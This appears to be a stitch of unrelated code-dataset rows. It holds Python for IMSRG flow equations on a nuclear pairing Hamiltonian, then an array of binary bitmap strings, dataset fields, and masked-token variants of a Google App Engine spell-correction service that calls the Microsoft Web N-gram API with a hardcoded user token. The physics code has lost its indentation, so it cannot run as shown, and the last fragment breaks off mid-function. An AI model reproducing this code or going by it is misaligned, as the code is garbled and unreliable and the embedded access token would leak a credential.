for i in holes:
denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]
val = 0.5 * np.arctan(2 * f[a,i]/denom)
eta1B[a, i] = val
eta1B[i, a] = -val
# two-body part of the generator
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = (
f[a,a] + f[b,b] - f[i,i] - f[j,j]
+ Gamma[idx2B[(a,b)],idx2B[(a,b)]]
+ Gamma[idx2B[(i,j)],idx2B[(i,j)]]
- Gamma[idx2B[(a,i)],idx2B[(a,i)]]
- Gamma[idx2B[(a,j)],idx2B[(a,j)]]
- Gamma[idx2B[(b,i)],idx2B[(b,i)]]
- Gamma[idx2B[(b,j)],idx2B[(b,j)]]
)
val = 0.5 * np.arctan(2 * Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom)
eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val
eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val
return eta1B, eta2B
def eta_wegner(f, Gamma, user_data):
dim1B = user_data["dim1B"]
holes = user_data["holes"]
particles = user_data["particles"]
bas2B = user_data["bas2B"]
basph2B = user_data["basph2B"]
idx2B = user_data["idx2B"]
idxph2B = user_data["idxph2B"]
occB_2B = user_data["occB_2B"]
occC_2B = user_data["occC_2B"]
occphA_2B = user_data["occphA_2B"]
# split Hamiltonian in diagonal and off-diagonal parts
fd = np.zeros_like(f)
fod = np.zeros_like(f)
Gammad = np.zeros_like(Gamma)
Gammaod = np.zeros_like(Gamma)
for a in particles:
for i in holes:
fod[a, i] = f[a,i]
fod[i, a] = f[i,a]
fd = f - fod
for a in particles:
for b in particles:
for i in holes:
for j in holes:
Gammaod[idx2B[(a,b)], idx2B[(i,j)]] = Gamma[idx2B[(a,b)], idx2B[(i,j)]]
Gammaod[idx2B[(i,j)], idx2B[(a,b)]] = Gamma[idx2B[(i,j)], idx2B[(a,b)]]
Gammad = Gamma - Gammaod
#############################
# one-body part of the generator
eta1B = np.zeros_like(f)
# 1B - 1B
eta1B += commutator(fd, fod)
# 1B - 2B
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
eta1B[p,q] += (
fd[i,a] * Gammaod[idx2B[(a, p)], idx2B[(i, q)]]
- fd[a,i] * Gammaod[idx2B[(i, p)], idx2B[(a, q)]]
- fod[i,a] * Gammad[idx2B[(a, p)], idx2B[(i, q)]]
+ fod[a,i] * Gammad[idx2B[(i, p)], idx2B[(a, q)]]
)
# 2B - 2B
# n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
eta1B[p,q] += 0.5*(
GammaGamma[idx2B[(i,p)], idx2B[(i,q)]]
- transpose(GammaGamma)[idx2B[(i,p)], idx2B[(i,q)]]
)
GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
eta1B[p,q] += 0.5*(
GammaGamma[idx2B[(r,p)], idx2B[(r,q)]]
+ transpose(GammaGamma)[idx2B[(r,p)], idx2B[(r,q)]]
)
#############################
# two-body flow equation
eta2B = np.zeros_like(Gamma)
# 1B - 2B
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
eta2B[idx2B[(p,q)],idx2B[(r,s)]] += (
fd[p,t] * Gammaod[idx2B[(t,q)],idx2B[(r,s)]]
+ fd[q,t] * Gammaod[idx2B[(p,t)],idx2B[(r,s)]]
- fd[t,r] * Gammaod[idx2B[(p,q)],idx2B[(t,s)]]
- fd[t,s] * Gammaod[idx2B[(p,q)],idx2B[(r,t)]]
- fod[p,t] * Gammad[idx2B[(t,q)],idx2B[(r,s)]]
- fod[q,t] * Gammad[idx2B[(p,t)],idx2B[(r,s)]]
+ fod[t,r] * Gammad[idx2B[(p,q)],idx2B[(t,s)]]
+ fod[t,s] * Gammad[idx2B[(p,q)],idx2B[(r,t)]]
)
# 2B - 2B - particle and hole ladders
# Gammad.occB.Gammaod
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))
# 2B - 2B - particle-hole chain
# transform matrices to particle-hole representation and calculate
# Gammad_ph.occA_ph.Gammaod_ph
Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)
Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)
GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))
# transform back to standard representation
GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B, basph2B, idxph2B)
# commutator / antisymmetrization
work = np.zeros_like(GammaGamma)
for i1, (i,j) in enumerate(bas2B):
for i2, (k,l) in enumerate(bas2B):
work[i1, i2] -= (
GammaGamma[i1, i2]
- GammaGamma[idx2B[(j,i)], i2]
- GammaGamma[i1, idx2B[(l,k)]]
+ GammaGamma[idx2B[(j,i)], idx2B[(l,k)]]
)
GammaGamma = work
eta2B += GammaGamma
return eta1B, eta2B
#-----------------------------------------------------------------------------------
# derivatives
#-----------------------------------------------------------------------------------
def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):
dim1B = user_data["dim1B"]
holes = user_data["holes"]
particles = user_data["particles"]
bas2B = user_data["bas2B"]
idx2B = user_data["idx2B"]
basph2B = user_data["basph2B"]
idxph2B = user_data["idxph2B"]
occB_2B = user_data["occB_2B"]
occC_2B = user_data["occC_2B"]
occphA_2B = user_data["occphA_2B"]
#############################
# zero-body flow equation
dE = 0.0
for i in holes:
for a in particles:
dE += eta1B[i,a] * f[a,i] - eta1B[a,i] * f[i,a]
for i in holes:
for j in holes:
for a in particles:
for b in particles:
dE += 0.5 * eta2B[idx2B[(i,j)], idx2B[(a,b)]] * Gamma[idx2B[(a,b)], idx2B[(i,j)]]
#############################
# one-body flow equation
df = np.zeros_like(f)
# 1B - 1B
df += commutator(eta1B, f)
# 1B - 2B
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
df[p,q] += (
eta1B[i,a] * Gamma[idx2B[(a, p)], idx2B[(i, q)]]
- eta1B[a,i] * Gamma[idx2B[(i, p)], idx2B[(a, q)]]
- f[i,a] * eta2B[idx2B[(a, p)], idx2B[(i, q)]]
+ f[a,i] * eta2B[idx2B[(i, p)], idx2B[(a, q)]]
)
# 2B - 2B
# n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
df[p,q] += 0.5*(
etaGamma[idx2B[(i,p)], idx2B[(i,q)]]
+ transpose(etaGamma)[idx2B[(i,p)], idx2B[(i,q)]]
)
etaGamma = dot(eta2B, dot(occC_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
df[p,q] += 0.5*(
etaGamma[idx2B[(r,p)], idx2B[(r,q)]]
+ transpose(etaGamma)[idx2B[(r,p)], idx2B[(r,q)]]
)
#############################
# two-body flow equation
dGamma = np.zeros_like(Gamma)
# 1B - 2B
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
dGamma[idx2B[(p,q)],idx2B[(r,s)]] += (
eta1B[p,t] * Gamma[idx2B[(t,q)],idx2B[(r,s)]]
+ eta1B[q,t] * Gamma[idx2B[(p,t)],idx2B[(r,s)]]
- eta1B[t,r] * Gamma[idx2B[(p,q)],idx2B[(t,s)]]
- eta1B[t,s] * Gamma[idx2B[(p,q)],idx2B[(r,t)]]
- f[p,t] * eta2B[idx2B[(t,q)],idx2B[(r,s)]]
- f[q,t] * eta2B[idx2B[(p,t)],idx2B[(r,s)]]
+ f[t,r] * eta2B[idx2B[(p,q)],idx2B[(t,s)]]
+ f[t,s] * eta2B[idx2B[(p,q)],idx2B[(r,t)]]
)
# 2B - 2B - particle and hole ladders
# eta2B.occB.Gamma
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
dGamma += 0.5 * (etaGamma + transpose(etaGamma))
# 2B - 2B - particle-hole chain
# transform matrices to particle-hole representation and calculate
# eta2B_ph.occA_ph.Gamma_ph
eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)
Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)
etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))
# transform back to standard representation
etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B, idxph2B)
# commutator / antisymmetrization
work = np.zeros_like(etaGamma)
for i1, (i,j) in enumerate(bas2B):
for i2, (k,l) in enumerate(bas2B):
work[i1, i2] -= (
etaGamma[i1, i2]
- etaGamma[idx2B[(j,i)], i2]
- etaGamma[i1, idx2B[(l,k)]]
+ etaGamma[idx2B[(j,i)], idx2B[(l,k)]]
)
etaGamma = work
dGamma += etaGamma
return dE, df, dGamma
#-----------------------------------------------------------------------------------
# derivative wrapper
#-----------------------------------------------------------------------------------
def get_operator_from_y(y, dim1B, dim2B):
# reshape the solution vector into 0B, 1B, 2B pieces
ptr = 0
zero_body = y[ptr]
ptr += 1
one_body = reshape(y[ptr:ptr+dim1B*dim1B], (dim1B, dim1B))
ptr += dim1B*dim1B
two_body = reshape(y[ptr:ptr+dim2B*dim2B], (dim2B, dim2B))
return zero_body,one_body,two_body
def derivative_wrapper(t, y, user_data):
dim1B = user_data["dim1B"]
dim2B = dim1B*dim1B
holes = user_data["holes"]
particles = user_data["particles"]
bas1B = user_data["bas1B"]
bas2B = user_data["bas2B"]
basph2B = user_data["basph2B"]
idx2B = user_data["idx2B"]
idxph2B = user_data["idxph2B"]
occA_2B = user_data["occA_2B"]
occB_2B = user_data["occB_2B"]
occC_2B = user_data["occC_2B"]
occphA_2B = user_data["occphA_2B"]
calc_eta = user_data["calc_eta"]
calc_rhs = user_data["calc_rhs"]
# extract operator pieces from solution vector
E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)
# calculate the generator
eta1B, eta2B = calc_eta(f, Gamma, user_data)
# calculate the right-hand side
dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)
# convert derivatives into linear array
dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))
# share data
user_data["dE"] = dE
user_data["eta_norm"] = np.linalg.norm(eta1B,ord='fro')+np.linalg.norm(eta2B,ord='fro')
return dy
#-----------------------------------------------------------------------------------
# pairing Hamiltonian
#-----------------------------------------------------------------------------------
def pairing_hamiltonian(delta, g, user_data):
bas1B = user_data["bas1B"]
bas2B = user_data["bas2B"]
idx2B = user_data["idx2B"]
dim = len(bas1B)
H1B = np.zeros((dim,dim))
for i in bas1B:
H1B[i,i] = delta*np.floor_divide(i, 2)
dim = len(bas2B)
H2B = np.zeros((dim, dim))
# spin up states have even indices, spin down the next odd index
for (i, j) in bas2B:
if (i % 2 == 0 and j == i+1):
for (k, l) in bas2B:
if (k % 2 == 0 and l == k+1):
H2B[idx2B[(i,j)],idx2B[(k,l)]] = -0.5*g
H2B[idx2B[(j,i)],idx2B[(k,l)]] = 0.5*g
H2B[idx2B[(i,j)],idx2B[(l,k)]] = 0.5*g
H2B[idx2B[(j,i)],idx2B[(l,k)]] = -0.5*g
return H1B, H2B
#-----------------------------------------------------------------------------------
# normal-ordered pairing Hamiltonian
#-----------------------------------------------------------------------------------
def normal_order(H1B, H2B, user_data):
bas1B = user_data["bas1B"]
bas2B = user_data["bas2B"]
idx2B = user_data["idx2B"]
particles = user_data["particles"]
holes = user_data["holes"]
# 0B part
E = 0.0
for i in holes:
E += H1B[i,i]
for i in holes:
for j in holes:
E += 0.5*H2B[idx2B[(i,j)],idx2B[(i,j)]]
# 1B part
f = H1B
for i in bas1B:
for j in bas1B:
for h in holes:
f[i,j] += H2B[idx2B[(i,h)],idx2B[(j,h)]]
# 2B part
Gamma = H2B
return E, f, Gamma
#-----------------------------------------------------------------------------------
# Perturbation theory
#-----------------------------------------------------------------------------------
def calc_mbpt2(f, Gamma, user_data):
DE2 = 0.0
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
for i in holes:
for j in holes:
for a in particles:
for b in particles:
denom = f[i,i] + f[j,j] - f[a,a] - f[b,b]
me = Gamma[idx2B[(a,b)],idx2B[(i,j)]]
DE2 += 0.25*me*me/denom
return DE2
def calc_mbpt3(f, Gamma, user_data):
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# DE3 = 0.0
DE3pp = 0.0
DE3hh = 0.0
DE3ph = 0.0
for a in particles:
for b in particles:
for c in particles:
for d in particles:
for i in holes:
for j in holes:
denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[i,i] + f[j,j] - f[c,c] - f[d,d])
me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(a,b)],idx2B[(c,d)]]*
Gamma[idx2B[(c,d)],idx2B[(i,j)]])
DE3pp += 0.125*me/denom
for i in holes:
for j in holes:
for k in holes:
for l in holes:
for a in particles:
for b in particles:
denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[l,l] - f[a,a] - f[b,b])
me = (Gamma[idx2B[(a,b)],idx2B[(k,l)]]*Gamma[idx2B[(k,l)],idx2B[(i,j)]]*
Gamma[idx2B[(i,j)],idx2B[(a,b)]])
DE3hh += 0.125*me/denom
for i in holes:
for j in holes:
for k in holes:
for a in particles:
for b in particles:
for c in particles:
denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[j,j] - f[a,a] - f[c,c])
me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(k,b)],idx2B[(i,c)]]*
Gamma[idx2B[(a,c)],idx2B[(k,j)]])
DE3ph -= me/denom
return DE3pp+DE3hh+DE3ph
#------------------------------------------------------------------------------
# Main program
#------------------------------------------------------------------------------
def main():
# grab delta and g from the command line
delta = float(argv[1])
g = float(argv[2])
particles = 4
# setup shared data
dim1B = 8
# this defines the reference state
# 1st state
holes = [0,1,2,3]
particles = [4,5,6,7]
# 2nd state
# holes = [0,1,4,5]
# particles = [2,3,6,7]
# 3rd state
# holes = [0,1,6,7]
# particles = [2,3,4,5]
# basis definitions
bas1B = range(dim1B)
bas2B = construct_basis_2B(holes, particles)
basph2B = construct_basis_ph2B(holes, particles)
idx2B = construct_index_2B(bas2B)
idxph2B = construct_index_2B(basph2B)
# occupation number matrices
occ1B = construct_occupation_1B(bas1B, holes, particles)
occA_2B = construct_occupationA_2B(bas2B, occ1B)
occB_2B = construct_occupationB_2B(bas2B, occ1B)
occC_2B = construct_occupationC_2B(bas2B, occ1B)
occphA_2B = construct_occupationA_2B(basph2B, occ1B)
# store shared data in a dictionary, so we can avoid passing the basis
# lookups etc. as separate parameters all the time
user_data = {
"dim1B": dim1B,
"holes": holes,
"particles": particles,
"bas1B": bas1B,
"bas2B": bas2B,
"basph2B": basph2B,
"idx2B": idx2B,
"idxph2B": idxph2B,
"occ1B": occ1B,
"occA_2B": occA_2B,
"occB_2B": occB_2B,
"occC_2B": occC_2B,
"occphA_2B": occphA_2B,
"eta_norm": 0.0, # variables for sharing data between ODE solver
"dE": 0.0, # and main routine
"calc_eta": eta_white_atan, # specify the generator (function object)
"calc_rhs": flow_imsrg2 # specify the right-hand side and truncation
}
# set up initial Hamiltonian
H1B, H2B = pairing_hamiltonian(delta, g, user_data)
E, f, Gamma = normal_order(H1B, H2B, user_data)
# reshape Hamiltonian into a linear array (initial ODE vector)
y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))
# integrate flow equations
solver = ode(derivative_wrapper,jac=None)
solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)
solver.set_f_params(user_data)
solver.set_initial_value(y0, 0.)
sfinal = 50
ds = 0.1
print("%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s"%(
"s", "E" , "DE(2)", "DE(3)", "E+DE", "dE/ds",
"||eta||", "||fod||", "||Gammaod||"))
print("-" * 148)
while solver.successful() and solver.t < sfinal:
ys = solver.integrate(sfinal, step=True)
dim2B = dim1B*dim1B
E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)
DE2 = calc_mbpt2(f, Gamma, user_data)
DE3 = calc_mbpt3(f, Gamma, user_data)
norm_fod = calc_fod_norm(f, user_data)
norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)
print("%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f"%(
solver.t, E , DE2, DE3, E+DE2+DE3, user_data["dE"], user_data["eta_norm"], norm_fod, norm_Gammaod))
if abs(DE2/E) < 10e-8: break
return
#------------------------------------------------------------------------------
# make executable
#------------------------------------------------------------------------------
if __name__ == "__main__":
main()
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'11111111111111111111111111111111100000001111111111111100000000000000000000000000000111111111111111111111111111111111111111111111',
'11111111111111111111111111111111000000011111111111111100000000000000000000000000000011111111111111111111111111111111111111111111',
'11111111111111111111111111111110000000011111111111110000000000000000000000000000000011111111111111111111111111111111111111111111',
'11111111111111111111111111111111000000011111111111000000000000000000000000000000000011111111111111111111111111111111111111111111',
'11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111',
'11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111',
'11111111111111111111111111111111110000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111',
'11111111111111111111111111111111110000011111111000000000000000000000000000000000000011111111111111111111111111111111111111111111',
'11111111111111111111111111111111111110000000111000000000000000000000000000000000000111111111111111111111111111111111111111111100',
'11111111111111111111111111111111111100000000001000000000000000000000000000000000011111111111111111111111111111111111111110100000',
'11111111111111111111111111111111111111111111110000000000000000000000000000000001111111111111111111111111111111100000000000000000',
'11111111111111111111111111111111111111111111110000000000000000000000000000000000111111111111111111111111111110100000000000000000',
'11111111111111111111111111111111111111111111100000000000000000000000000000000000111111111111111111110000000000000000000000000000',
'11111111111111111111111111111111111111111111100000000000000000000000000000000001111111111111111111100000000000000000000000000000',
'11111111111111111111111111111111111111111111100001111111100000101100000000000000111111110000000000000000000000000000000000000000',
'11111111111111111111111111111111111111111111111110111111111111111110000000000000110111000000000000000000000000000000000000000000',
'11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000',
'11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000',
'11111111111111111111111111111111111111111111111100110000000000000000000000000000000000000000000000000000000000000000000000000000',
'11111111111111111111111111111111111111000111000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'11111111111111110000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'11010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100111111',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111',
'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001011111111111111',
'00000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111',
'11111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010111111111111111111',
'11111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111',
'11111111111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111',
'11111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111111',
'11111111111111111111110010000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111111111111',
'11111111111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111111111111',
'11111111111111111111111111111111111000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111',
'11111111111111111111111111111111111100000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111',
'11111111111111111111111111111111111111111111111100111110000000000000000000001111111111111111111111111111111111111111111111111111',
'11111111111111111111111111111111111111111111111111111111111100001000000011111111111111111111111111111111111111111111111111111111',
'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111',
'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111',
'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111',
'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111',
]
| null | null | [
0,
1,
2
] |
9,912 | c8a6a8633f863e0350157346106a747096d26939 | <mask token>
class lexicon0(db.Model):
word = db.StringProperty(required=True)
known = db.StringListProperty(indexed=False)
<mask token>
class mainpage(webapp.RequestHandler):
def get(self):
global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL
if len(self.request.get('m')):
MONTH = str(self.request.get('m'))
if len(self.request.get('d')):
DATASET = str(self.request.get('d'))
if len(self.request.get('ng')):
NGRAM = str(self.request.get('ng'))
if len(self.request.get('pp')):
PROB = str(self.request.get('pp'))
REQUESTURL = (
'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +
DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +
'?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')
GENURL = (
'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +
DATASET + '/' + MONTH + '/' + NGRAM +
'/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')
query = str(self.request.get('q'))
wordlist = query.strip().split()
dictionary = dict()
try:
cquery = combination(wordlist, 0)[0]
except:
cquery = query
try:
wordlist = query.strip().split()
squery = spacesplits(wordlist)[0]
except:
squery = query
try:
dictionary.update(getdictionary(wordlist))
except:
dictionary.update({query: 0})
try:
if query != cquery:
dictionary.update(getdictionary(cquery.split()))
except:
dictionary.update({cquery: 0})
try:
if query != squery:
dictionary.update(getdictionary(squery.split()))
except:
dictionary.update({squery: 0})
finallist = dictionary.keys()
self.response.headers['Content-Type'] = 'text/plain'
try:
result = getjp('', finallist, '')
final = list()
for i in range(len(result)):
final.append(10 ** result[i][1])
printresult = normalize(final)
for i in range(len(printresult)):
self.response.out.write(str(result[i][0]) + '\t' +
printresult[i] + '\n')
except:
self.response.out.write(query + '\t' + str(1))
class maintest(webapp.RequestHandler):
def get(self):
global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL
self.response.headers['Content-Type'] = 'text/plain'
self.response.out.write(REQUESTURL + '\n')
self.response.out.write(GENURL)
<mask token>
class splittest(webapp.RequestHandler):
def get(self):
query = self.request.get('q')
wordlist = query.split()
splitted = combination(wordlist, 0)
self.response.out.write(splitted)
<mask token>
| <mask token>
class lexicon0(db.Model):
word = db.StringProperty(required=True)
known = db.StringListProperty(indexed=False)
def lexicon_key(lexicon_name=None):
return db.Key.from_path('lexicon0', lexicon_name or 'default')
<mask token>
def getjp(before, wordlist, after):
global REQUESTURL
wordli = wordlist
string = ''
for x in wordli:
string += before + ' ' + str(x) + ' ' + after + '\n'
string = string.strip()
jps = list()
jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(
).split()
for i in range(len(jps)):
jps[i] = float(jps[i]) / querylength(wordli[i])
dictionary = dict(zip(wordli, jps))
return sorted(dictionary.iteritems(), key=lambda entity: entity[1],
reverse=True)
def getjp1(before, wordlist, after):
global REQUESTURL
string = ''
for x in wordlist:
string += before + ' ' + str(x) + ' ' + after + '\n'
string = string.strip()
jps = list()
jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(
).split()
for i in range(len(jps)):
jps[i] = float(jps[i])
dictionary = dict(zip(wordlist, jps))
return sorted(dictionary.iteritems(), key=lambda entity: entity[1],
reverse=True)
class mainpage(webapp.RequestHandler):
def get(self):
global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL
if len(self.request.get('m')):
MONTH = str(self.request.get('m'))
if len(self.request.get('d')):
DATASET = str(self.request.get('d'))
if len(self.request.get('ng')):
NGRAM = str(self.request.get('ng'))
if len(self.request.get('pp')):
PROB = str(self.request.get('pp'))
REQUESTURL = (
'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +
DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +
'?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')
GENURL = (
'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +
DATASET + '/' + MONTH + '/' + NGRAM +
'/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')
query = str(self.request.get('q'))
wordlist = query.strip().split()
dictionary = dict()
try:
cquery = combination(wordlist, 0)[0]
except:
cquery = query
try:
wordlist = query.strip().split()
squery = spacesplits(wordlist)[0]
except:
squery = query
try:
dictionary.update(getdictionary(wordlist))
except:
dictionary.update({query: 0})
try:
if query != cquery:
dictionary.update(getdictionary(cquery.split()))
except:
dictionary.update({cquery: 0})
try:
if query != squery:
dictionary.update(getdictionary(squery.split()))
except:
dictionary.update({squery: 0})
finallist = dictionary.keys()
self.response.headers['Content-Type'] = 'text/plain'
try:
result = getjp('', finallist, '')
final = list()
for i in range(len(result)):
final.append(10 ** result[i][1])
printresult = normalize(final)
for i in range(len(printresult)):
self.response.out.write(str(result[i][0]) + '\t' +
printresult[i] + '\n')
except:
self.response.out.write(query + '\t' + str(1))
class maintest(webapp.RequestHandler):
def get(self):
global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL
self.response.headers['Content-Type'] = 'text/plain'
self.response.out.write(REQUESTURL + '\n')
self.response.out.write(GENURL)
def getdictionary(wordelist):
global MONTH, DATASET, NGRAM, PROB
dictionaryy = dict()
rpcs = []
for i in range(len(wordelist)):
if i < 3:
t = 0
else:
t = i - 3
form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[
t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,
'd': DATASET, 'ng': NGRAM, 'pp': PROB}
formdata = urllib.urlencode(form_fields)
rpc = urlfetch.create_rpc()
url = 'http://timetest.forbackend.appspot.com/wordspellcheck'
urlfetch.make_fetch_call(rpc, url, payload=formdata, method=
urlfetch.POST)
rpcs.append(rpc)
resultts = list()
for rpc in rpcs:
result = rpc.get_result()
resultts.append(result.content)
dictionaryy[listtostr(wordelist)] = 0
for i in range(len(wordelist)):
if resultts[i] == wordelist[i]:
continue
else:
for j in range(i, len(wordelist) + 1):
pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])
dictionaryy[pp] = 0
return dictionaryy
class splittest(webapp.RequestHandler):
def get(self):
query = self.request.get('q')
wordlist = query.split()
splitted = combination(wordlist, 0)
self.response.out.write(splitted)
def querylength(query):
liste = query.split()
counte = 0
for x in liste:
if len(x) > 1:
counte += 1
if counte == 0:
return 1
else:
return counte
def listtostr(wordlist):
string = ''
for word in wordlist:
string += word + ' '
string = string.strip()
return string
def normalize(problist):
tot = 0
for x in problist:
tot += x
returnlist = list()
for i in range(len(problist)):
returnlist.append(str(round(problist[i] / tot, 3)))
return returnlist
<mask token>
def main():
run_wsgi_app(application)
<mask token>
| <mask token>
class lexicon0(db.Model):
word = db.StringProperty(required=True)
known = db.StringListProperty(indexed=False)
def lexicon_key(lexicon_name=None):
return db.Key.from_path('lexicon0', lexicon_name or 'default')
def combination(wordlist, t):
tempc = wordlist
combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc
[i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]
cquery = listtostr(tempc)
combinationqueryset.append(cquery)
results = getjp1('', combinationqueryset, '')
dictionary = dict(results)
x = results.index((cquery, dictionary[cquery]))
if t == 0:
t = dictionary[cquery]
if results[0][0] == cquery:
return cquery, results[0][1], t
else:
dictionary = dict(results)
x = results.index((cquery, dictionary[cquery]))
y = list()
for i in range(x):
y.append(combinationqueryset.index(results[i][0]))
y.sort(reverse=True)
cache = wordlist
for z in y:
cache[z] += cache[z + 1]
del cache[z + 1]
return combination(cache, t)
<mask token>
def getjp(before, wordlist, after):
global REQUESTURL
wordli = wordlist
string = ''
for x in wordli:
string += before + ' ' + str(x) + ' ' + after + '\n'
